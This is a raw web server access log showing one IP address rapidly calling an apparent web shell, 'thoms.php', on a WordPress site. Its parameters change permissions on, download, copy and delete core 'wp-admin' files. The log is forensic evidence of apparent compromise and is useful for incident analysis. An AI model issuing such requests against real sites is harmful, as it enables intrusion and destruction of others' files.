45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?chmod=link.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?dl=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:53 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /bestjudy.com.tw/wp-admin/includes/ HTTP/1.1" 200 4182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12368 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14209 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /bestjudy.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /bestjudy.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?dl=theme-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /thoms.php?del=update.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28887 "http://163.245.207.76:443/thoms.php?del=update.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:54 -0400] "GET /bestjudy.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?chmod=options-writing.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Frevision.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Frevision.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?dl=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?chmod=async-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:55 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12189 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /bestjudy.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17191 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fuser-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12418 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?dl=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15644 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Finstall-helper.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Finstall-helper.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?chmod=options-reading.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?del=about.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=about.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?dl=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ffreedoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ffreedoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:57 -0400] "GET /thoms.php?dl=moderation.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28908 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14245 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?chmod=site-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15394 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12028 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?dl=options-head.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28939 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?chmod=custom-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?del=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13718 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:58 -0400] "GET /thoms.php?del=link.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28797 "http://163.245.207.76:443/thoms.php?del=link.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /bestjudy.com.tw/wp-admin/js/ HTTP/1.1" 200 3715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /bestjudy.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16115 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?del=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?chmod=admin-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12420 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:59 -0400] "GET /thoms.php?dl=contribute.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /bestjudy.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17546 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /thoms.php?chmod=term.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12383 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /bestjudy.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /bestjudy.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /bestjudy.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23805 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:00 -0400] "GET /thoms.php?chmod=press-this.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /bestjudy.com.tw/wp-admin/css/ HTTP/1.1" 200 3650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?chmod=ms-options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
